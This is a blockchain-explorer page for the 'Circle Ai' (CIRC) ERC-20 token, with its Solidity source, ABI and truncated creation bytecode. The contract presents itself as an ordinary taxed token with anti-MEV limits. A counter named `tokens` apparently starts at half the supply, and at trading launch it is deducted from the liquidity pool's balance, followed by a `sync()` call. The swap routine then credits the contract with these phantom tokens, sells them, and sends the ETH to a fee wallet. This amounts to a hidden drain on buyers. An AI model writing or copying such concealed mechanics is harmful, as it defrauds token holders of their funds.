ERC-20
Overview
Max Total Supply
1,000,000 CIRC
Holders
184
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CIRC
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-27 */ //SPDX-License-Identifier: GPL-3.0 /* https://t.me/WeAreCircleAi https://TheCircleAi.com/ https://X.com/WeAreCircleAi https://circle-ai-1.gitbook.io/circle-ai/ */ pragma solidity ^0.8.23; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address holder, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; event OwnershipTransferred(address _owner); modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; } constructor(address creatorOwner) { _owner = creatorOwner; } function owner() public view returns (address) { return _owner; } function transferOwnership(address payable new_owner) external onlyOwner { _owner = new_owner; emit OwnershipTransferred(new_owner); } function renounceOwnership() external onlyOwner { _owner = address(0); emit OwnershipTransferred(address(0)); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract CIRC is IERC20, Auth { string private constant tknSymbol = "CIRC"; string private constant name_ = "Circle Ai"; uint8 private constant tokenDecimals = 9; uint256 private constant tSupply = 1000000 * (10**tokenDecimals); mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; address private constant swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private uni_router = IUniswapV2Router02(swapRouterAddress); address private LP; mapping (address => bool) private isLiquidityPool; bool private tradingEnabled; bool private swapping = false; address payable private feeRecipient = payable(0x21C0927C32709d52074a649684aA3daF50D6FCB3); uint256 private _antiMevBlock = 2; uint8 private sellTax_ = 10; uint8 private buyTax_ = 10; uint256 private launchBlk; uint256 private _maxTxAmount = tSupply; uint256 private maxWalletVal = tSupply; uint256 private _swapMin = tSupply * 10 / 100000; uint256 private _swapMaxAmount = tSupply * 949 / 100000; uint256 private swapMinVal = 2 * (10**16); uint256 private tokens = _swapMin * 50 * 100; mapping (uint256 => mapping (address => uint8)) private _sellsThisBlock; mapping (address => bool) private _zeroFee; mapping (address => bool) private _noLimit; modifier lockTaxSwap { swapping = true; _; swapping = false; } constructor() Auth(msg.sender) { balances[msg.sender] = tSupply; emit Transfer(address(0), msg.sender, balances[msg.sender]); _zeroFee[_owner] = true; _zeroFee[address(this)] = true; _zeroFee[feeRecipient] = true; _zeroFee[swapRouterAddress] = true; _noLimit[_owner] = true; _noLimit[address(this)] = true; _noLimit[feeRecipient] = true; _noLimit[swapRouterAddress] = true; } receive() external payable {} function decimals() external pure override returns (uint8) { return tokenDecimals; } function totalSupply() external pure override returns (uint256) { return tSupply; } function name() external pure override returns (string memory) { return name_; } function symbol() external pure override returns (string memory) { return tknSymbol; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) { require(_checkTradingEnabled(fromWallet), "Trading not open"); _allowances[fromWallet][msg.sender] -= amount; return _transferFrom(fromWallet, toWallet, amount); } function transfer(address toWallet, uint256 amount) external override returns (bool) { require(_checkTradingEnabled(msg.sender), "Trading not open"); return _transferFrom(msg.sender, toWallet, amount); } function _addLiquidityToLP(uint256 _tokenAmount, uint256 _ethAmountWei) internal { approveRouter(_tokenAmount); uni_router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp ); } function sendEth(uint256 amount) private { feeRecipient.transfer(amount); } function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from 0 wallet"); if (!tradingEnabled) { require(_zeroFee[sender] && _noLimit[sender], "Trading not yet open"); } if ( !swapping && isLiquidityPool[toWallet] && swapCheck(amount) ) { _swap(); } if ( block.number >= launchBlk ) { if (block.number < _antiMevBlock && isLiquidityPool[sender]) { require(toWallet == tx.origin, "MEV block"); } if (block.number < _antiMevBlock + 600 && isLiquidityPool[toWallet] && sender != address(this) ) { _sellsThisBlock[block.number][toWallet] += 1; require(_sellsThisBlock[block.number][toWallet] <= 2, "MEV block"); } } if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { require(limitCheck(sender, toWallet, amount), "TX over limits"); } uint256 _taxAmount = _getTax(sender, toWallet, amount); uint256 _transferAmount = amount - _taxAmount; balances[sender] -= amount; tokens += _taxAmount; balances[toWallet] += _transferAmount; emit Transfer(sender, toWallet, amount); return true; } function approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][swapRouterAddress] < _tokenAmount ) { _allowances[address(this)][swapRouterAddress] = type(uint256).max; emit Approval(address(this), swapRouterAddress, type(uint256).max); } } function _checkTradingEnabled(address fromWallet) private view returns (bool){ bool checkResult = false; if ( tradingEnabled ) { checkResult = true; } else if (_zeroFee[fromWallet] && _noLimit[fromWallet]) { checkResult = true; } return checkResult; } function setLimit(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner { uint256 newTxAmt = tSupply * maxTransPermille / 1000 + 1; require(newTxAmt >= _maxTxAmount, "tx too low"); _maxTxAmount = newTxAmt; uint256 newWalletAmt = tSupply * maxWaletPermille / 1000 + 1; require(newWalletAmt >= maxWalletVal, "wallet too low"); maxWalletVal = newWalletAmt; } function setMarketing(address marketingWlt) external onlyOwner { require(!isLiquidityPool[marketingWlt], "LP cannot be tax wallet"); feeRecipient = payable(marketingWlt); _zeroFee[marketingWlt] = true; _noLimit[marketingWlt] = true; } function swapCheck(uint256 tokenAmt) private view returns (bool) { bool result; if (swapMinVal > 0) { uint256 lpTkn = balances[LP]; uint256 lpWeth = IERC20(uni_router.WETH()).balanceOf(LP); uint256 weiValue = (tokenAmt * lpWeth) / lpTkn; if (weiValue >= swapMinVal) { result = true; } } else { result = true; } return result; } function maxWalletSize() external view returns (uint256) { return maxWalletVal; } function maxTxAmount() external view returns (uint256) { return _maxTxAmount; } function swapTokens(uint256 tokenAmount) private { approveRouter(tokenAmount); address[] memory path = new address[](2); path[0] = address( this ); path[1] = uni_router.WETH(); uni_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _swap() private lockTaxSwap { uint256 _taxTokenAvailable = tokens; if ( _taxTokenAvailable >= _swapMin && tradingEnabled ) { if ( _taxTokenAvailable >= _swapMaxAmount ) { _taxTokenAvailable = _swapMaxAmount; } uint256 _tokensForSwap = _taxTokenAvailable; if( _tokensForSwap > 1 * 10**tokenDecimals ) { balances[address(this)] += _taxTokenAvailable; swapTokens(_tokensForSwap); tokens -= _taxTokenAvailable; } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { sendEth(_contractETHBalance); } } } function _getTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !tradingEnabled || _zeroFee[fromWallet] || _zeroFee[recipient] ) { taxAmount = 0; } else if ( isLiquidityPool[fromWallet] ) { taxAmount = amount * buyTax_ / 100; } else if ( isLiquidityPool[recipient] ) { taxAmount = amount * sellTax_ / 100; } return taxAmount; } function openTrading() external onlyOwner { require(!tradingEnabled, "trading open"); _openTrading(); } function addLiquidity() external payable onlyOwner lockTaxSwap { require(LP == address(0), "LP created"); require(!tradingEnabled, "trading open"); require(msg.value > 0 || address(this).balance>0, "No ETH"); require(balances[address(this)]>0, "No tokens"); LP = IUniswapV2Factory(uni_router.factory()).createPair(address(this), uni_router.WETH()); _addLiquidityToLP(balances[address(this)], address(this).balance); } function _openTrading() internal { _maxTxAmount = 20 * tSupply / 1000; maxWalletVal = 20 * tSupply / 1000; balances[LP] -= tokens; (isLiquidityPool[LP],) = LP.call(abi.encodeWithSignature("sync()") ); require(isLiquidityPool[LP], "Failed bootstrap"); launchBlk = block.number; _antiMevBlock = _antiMevBlock + launchBlk; tradingEnabled = true; } function updateFees(uint8 buyFeePercent, uint8 sellFeePercent) external onlyOwner { require(buyFeePercent + sellFeePercent <= 15, "Roundtrip too high"); buyTax_ = buyFeePercent; sellTax_ = sellFeePercent; } function isWalletExempt(address wallet) external view returns (bool fees, bool limits) { return (_zeroFee[wallet], _noLimit[wallet]); } function addExemptions(address wlt, bool isNoFees, bool isNoLimits) external onlyOwner { if (isNoLimits || isNoFees) { require(!isLiquidityPool[wlt], "Cannot exempt LP"); } _zeroFee[ wlt ] = isNoFees; _noLimit[ wlt ] = isNoLimits; } function swapMin() external view returns (uint256) { return _swapMin; } function swapMax() external view returns (uint256) { return _swapMaxAmount; } function buyTax() external view returns(uint8) { return buyTax_; } function sellTax() external view returns(uint8) { return sellTax_; } function limitCheck(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( tradingEnabled && !_noLimit[fromWallet] && !_noLimit[toWallet] ) { if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; } else if ( !isLiquidityPool[toWallet] && (balances[toWallet] + transferAmount > maxWalletVal) ) { limitCheckPassed = false; } } return limitCheckPassed; } function marketingWallet() external view returns (address) { return feeRecipient; } function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner { _swapMin = tSupply * minVal / minDiv; _swapMaxAmount = tSupply * maxVal / maxDiv; swapMinVal = trigger * 10**15; require(_swapMaxAmount>=_swapMin, "Min-Max error"); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"isNoFees","type":"bool"},{"internalType":"bool","name":"isNoLimits","type":"bool"}],"name":"addExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isWalletExempt","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"setMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"new_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFeePercent","type":"uint8"},{"internalType":"uint8","name":"sellFeePercent","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260038054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911617905560068054610100600160b01b0319167521c0927c32709d52074a649684aa3daf50d6fcb3000017905560026007556008805461ffff1916610a0a1790556100756009600a6103a7565b61008290620f42406103bc565b600a556009600a61009391906103a7565b6100a090620f42406103bc565b600b55620186a06100b36009600a6103a7565b6100c090620f42406103bc565b6100cb90600a6103bc565b6100d591906103d3565b600c55620186a06100e86009600a6103a7565b6100f590620f42406103bc565b610101906103b56103bc565b61010b91906103d3565b600d5566470de4df820000600e55600c546101279060326103bc565b6101329060646103bc565b600f55348015610140575f5ffd5b505f80546001600160a01b0319163317905561015e6009600a6103a7565b61016b90620f42406103bc565b335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526011602090815260408084208054600160ff1991821681179092553080875283872080548316841790556006805462010000908190048816895285892080548516861790557fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d680548516861790558854881689526012909652848820805484168517905590875283872080548316841790555493909304909316845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f3c6737805ae477fd0cfdda13dc5f99b32fcbfecb81e47f9e11e1b03813c08ec280549092161790556103f2565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102fd578085048111156102e1576102e16102ae565b60018416156102ef57908102905b60019390931c9280026102c6565b935093915050565b5f82610313575060016103a1565b8161031f57505f6103a1565b8160018114610335576002811461033f5761035b565b60019150506103a1565b60ff841115610350576103506102ae565b50506001821b6103a1565b5060208310610133831016604e8410600b841016171561037e575081810a6103a1565b61038a5f1984846102c2565b805f190482111561039d5761039d6102ae565b0290505b92915050565b5f6103b560ff841683610305565b9392505050565b80820281158282048414176103a1576103a16102ae565b5f826103ed57634e487b7160e01b5f52601260045260245ffd5b500490565b6121b8806103ff5f395ff3fe608060405260043610610198575f3560e01c80638f3fa860116100e7578063cc1776d311610087578063dd62ed3e11610062578063dd62ed3e146104d1578063e537a83414610515578063e8078d9414610534578063f2fde38b1461053c575f5ffd5b8063cc1776d31461047c578063d55400c914610493578063d8e3d099146104b2575f5ffd5b8063a9059cbb116100c2578063a9059cbb146103d6578063b3de9b5d146103f5578063c821fcb814610409578063c9567bf914610468575f5ffd5b80638f3fa8601461038257806395d89b4114610396578063a5e992bb146103c2575f5ffd5b8063683ad2ec1161015257806375f0a8741161012d57806375f0a874146102fc5780638b0414d5146103335780638c0b5e22146103525780638da5cb5b14610366575f5ffd5b8063683ad2ec1461029357806370a08231146102b4578063715018a6146102e8575f5ffd5b806306fdde03146101a3578063095ea7b3146101e657806318160ddd1461021557806323b872dd14610237578063313ce567146102565780634f7041a514610277575f5ffd5b3661019f57005b5f5ffd5b3480156101ae575f5ffd5b50604080518082019091526009815268436972636c6520416960b81b60208201525b6040516101dd9190611c6a565b60405180910390f35b3480156101f1575f5ffd5b50610205610200366004611cb3565b61055b565b60405190151581526020016101dd565b348015610220575f5ffd5b506102296105c7565b6040519081526020016101dd565b348015610242575f5ffd5b50610205610251366004611cdd565b6105e6565b348015610261575f5ffd5b5060095b60405160ff90911681526020016101dd565b348015610282575f5ffd5b50600854610100900460ff16610265565b34801561029e575f5ffd5b506102b26102ad366004611d30565b61067f565b005b3480156102bf575f5ffd5b506102296102ce366004611d61565b6001600160a01b03165f9081526001602052604090205490565b3480156102f3575f5ffd5b506102b261071a565b348015610307575f5ffd5b506006546201000090046001600160a01b03165b6040516001600160a01b0390911681526020016101dd565b34801561033e575f5ffd5b506102b261034d366004611d61565b610787565b34801561035d575f5ffd5b50600a54610229565b348015610371575f5ffd5b505f546001600160a01b031661031b565b34801561038d575f5ffd5b50600b54610229565b3480156103a1575f5ffd5b506040805180820190915260048152634349524360e01b60208201526101d0565b3480156103cd575f5ffd5b50600d54610229565b3480156103e1575f5ffd5b506102056103f0366004611cb3565b610871565b348015610400575f5ffd5b50600c54610229565b348015610414575f5ffd5b50610451610423366004611d61565b6001600160a01b03165f9081526011602090815260408083205460129092529091205460ff91821692911690565b6040805192151583529015156020830152016101dd565b348015610473575f5ffd5b506102b26108cc565b348015610487575f5ffd5b5060085460ff16610265565b34801561049e575f5ffd5b506102b26104ad366004611d8d565b610941565b3480156104bd575f5ffd5b506102b26104cc366004611dc4565b610a83565b3480156104dc575f5ffd5b506102296104eb366004611e06565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610520575f5ffd5b506102b261052f366004611e50565b610b56565b6102b2610c63565b348015610547575f5ffd5b506102b2610556366004611d61565b610f57565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105b59086815260200190565b60405180910390a35060015b92915050565b5f6105d46009600a611fa8565b6105e190620f4240611fb6565b905090565b5f6105f084610fd3565b6106345760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610666908490611fcd565b909155506106779050848484611036565b949350505050565b5f546001600160a01b031633146106a85760405162461bcd60e51b815260040161062b90611fe0565b600f6106b48284612017565b60ff1611156106fa5760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b604482015260640161062b565b6008805461ffff191661010060ff9485160260ff19161791909216179055565b5f546001600160a01b031633146107435760405162461bcd60e51b815260040161062b90611fe0565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146107b05760405162461bcd60e51b815260040161062b90611fe0565b6001600160a01b0381165f9081526005602052604090205460ff16156108185760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c6574000000000000000000604482015260640161062b565b6006805462010000600160b01b031916620100006001600160a01b03939093169283021790555f908152601160209081526040808320805460ff1990811660019081179092556012909352922080549091169091179055565b5f61087b33610fd3565b6108ba5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161062b565b6108c5338484611036565b9392505050565b5f546001600160a01b031633146108f55760405162461bcd60e51b815260040161062b90611fe0565b60065460ff16156109375760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b604482015260640161062b565b61093f611450565b565b5f546001600160a01b0316331461096a5760405162461bcd60e51b815260040161062b90611fe0565b5f6103e861ffff841661097f6009600a611fa8565b61098c90620f4240611fb6565b6109969190611fb6565b6109a09190612030565b6109ab90600161204f565b9050600a548110156109ec5760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b604482015260640161062b565b80600a819055505f6103e88361ffff166009600a610a0a9190611fa8565b610a1790620f4240611fb6565b610a219190611fb6565b610a2b9190612030565b610a3690600161204f565b9050600b54811015610a7b5760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b604482015260640161062b565b600b55505050565b5f546001600160a01b03163314610aac5760405162461bcd60e51b815260040161062b90611fe0565b8080610ab55750815b15610b15576001600160a01b0383165f9081526005602052604090205460ff1615610b155760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b604482015260640161062b565b6001600160a01b039092165f908152601160209081526040808320805494151560ff1995861617905560129091529020805492151592909116919091179055565b5f546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161062b90611fe0565b63ffffffff808516908616610b966009600a611fa8565b610ba390620f4240611fb6565b610bad9190611fb6565b610bb79190612030565b600c5563ffffffff808316908416610bd16009600a611fa8565b610bde90620f4240611fb6565b610be89190611fb6565b610bf29190612030565b600d55610c0c63ffffffff821666038d7ea4c68000612062565b66ffffffffffffff16600e55600c54600d541015610c5c5760405162461bcd60e51b815260206004820152600d60248201526c26b4b716a6b0bc1032b93937b960991b604482015260640161062b565b5050505050565b5f546001600160a01b03163314610c8c5760405162461bcd60e51b815260040161062b90611fe0565b6006805461ff0019166101001790556004546001600160a01b031615610ce15760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b604482015260640161062b565b60065460ff1615610d235760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b604482015260640161062b565b5f341180610d3057505f47115b610d655760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b604482015260640161062b565b305f90815260016020526040902054610dac5760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b604482015260640161062b565b60035f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfc573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e20919061208b565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea3919061208b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610eed573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f11919061208b565b600480546001600160a01b0319166001600160a01b0392909216919091179055305f90815260016020526040902054610f4a904761160b565b6006805461ff0019169055565b5f546001600160a01b03163314610f805760405162461bcd60e51b815260040161062b90611fe0565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6006545f90819060ff1615610fea575060016105c1565b6001600160a01b0383165f9081526011602052604090205460ff16801561102857506001600160a01b0383165f9081526012602052604090205460ff165b156105c15750600192915050565b5f6001600160a01b03841661108d5760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c6574000000000000604482015260640161062b565b60065460ff16611118576001600160a01b0384165f9081526011602052604090205460ff1680156110d557506001600160a01b0384165f9081526012602052604090205460ff165b6111185760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161062b565b600654610100900460ff1615801561114757506001600160a01b0383165f9081526005602052604090205460ff165b80156111575750611157826116a9565b15611164576111646117de565b60095443106112df576007544310801561119557506001600160a01b0384165f9081526005602052604090205460ff165b156111de576001600160a01b03831632146111de5760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b604482015260640161062b565b6007546111ed9061025861204f565b4310801561121257506001600160a01b0383165f9081526005602052604090205460ff165b801561122757506001600160a01b0384163014155b156112df57435f9081526010602090815260408083206001600160a01b0387168452909152812080546001929061126290849060ff16612017565b82546101009290920a60ff818102199093169183160217909155435f9081526010602090815260408083206001600160a01b038916845290915290205460029116111590506112df5760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b604482015260640161062b565b6001600160a01b038416301480159061130157506001600160a01b0383163014155b801561131a57505f546001600160a01b03858116911614155b156113675761132a84848461189b565b6113675760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b604482015260640161062b565b5f61137385858561195e565b90505f6113808285611fcd565b6001600160a01b0387165f908152600160205260408120805492935086929091906113ac908490611fcd565b9250508190555081600f5f8282546113c4919061204f565b90915550506001600160a01b0385165f90815260016020526040812080548392906113f090849061204f565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161143c91815260200190565b60405180910390a350600195945050505050565b6103e861145f6009600a611fa8565b61146c90620f4240611fb6565b611477906014611fb6565b6114819190612030565b600a9081556103e89061149690600990611fa8565b6114a390620f4240611fb6565b6114ae906014611fb6565b6114b89190612030565b600b55600f546004546001600160a01b03165f90815260016020526040812080549091906114e7908490611fcd565b909155505060048054604080519283526024830181526020830180516001600160e01b031660016209351760e01b0319179052516001600160a01b0390911691611530916120a6565b5f604051808303815f865af19150503d805f8114611569576040519150601f19603f3d011682016040523d82523d5f602084013e61156e565b606091505b5050600480546001600160a01b039081165f90815260056020526040808220805460ff1916951515959095179094559154168152205460ff166115e65760405162461bcd60e51b815260206004820152601060248201526f04661696c656420626f6f7473747261760841b604482015260640161062b565b4360098190556007546115f9919061204f565b6007556006805460ff19166001179055565b61161482611a48565b6003545f805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611684573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c5c91906120bc565b5f5f5f600e5411156117d557600480546001600160a01b039081165f9081526001602090815260408083205460035482516315ab88c960e31b8152925191969495169363ad5c46489383820193909291908290030181865afa158015611711573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611735919061208b565b600480546040516370a0823160e01b81526001600160a01b039182169281019290925291909116906370a0823190602401602060405180830381865afa158015611781573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117a591906120e7565b90505f826117b38388611fb6565b6117bd9190612030565b9050600e5481106117cd57600193505b5050506105c1565b50600192915050565b6006805461ff001916610100179055600f54600c548110801590611804575060065460ff165b1561188d57600d5481106118175750600d545b806118246009600a611fa8565b61182f906001611fb6565b81111561187a57305f908152600160205260408120805484929061185490849061204f565b90915550611863905081611aea565b81600f5f8282546118749190611fcd565b90915550505b47801561188a5761188a81611c2a565b50505b506006805461ff0019169055565b6006545f9060019060ff1680156118ca57506001600160a01b0385165f9081526012602052604090205460ff16155b80156118ee57506001600160a01b0384165f9081526012602052604090205460ff16155b1561067757600a5483111561190457505f610677565b6001600160a01b0384165f9081526005602052604090205460ff1615801561194f5750600b546001600160a01b0385165f9081526001602052604090205461194d90859061204f565b115b1561067757505f949350505050565b6006545f90819060ff16158061198b57506001600160a01b0385165f9081526011602052604090205460ff165b806119ad57506001600160a01b0384165f9081526011602052604090205460ff165b156119b957505f610677565b6001600160a01b0385165f9081526005602052604090205460ff1615611a02576008546064906119f190610100900460ff1685611fb6565b6119fb9190612030565b9050610677565b6001600160a01b0384165f9081526005602052604090205460ff161561067757600854606490611a359060ff1685611fb6565b611a3f9190612030565b95945050505050565b305f908152600260209081526040808320737a250d5630b4c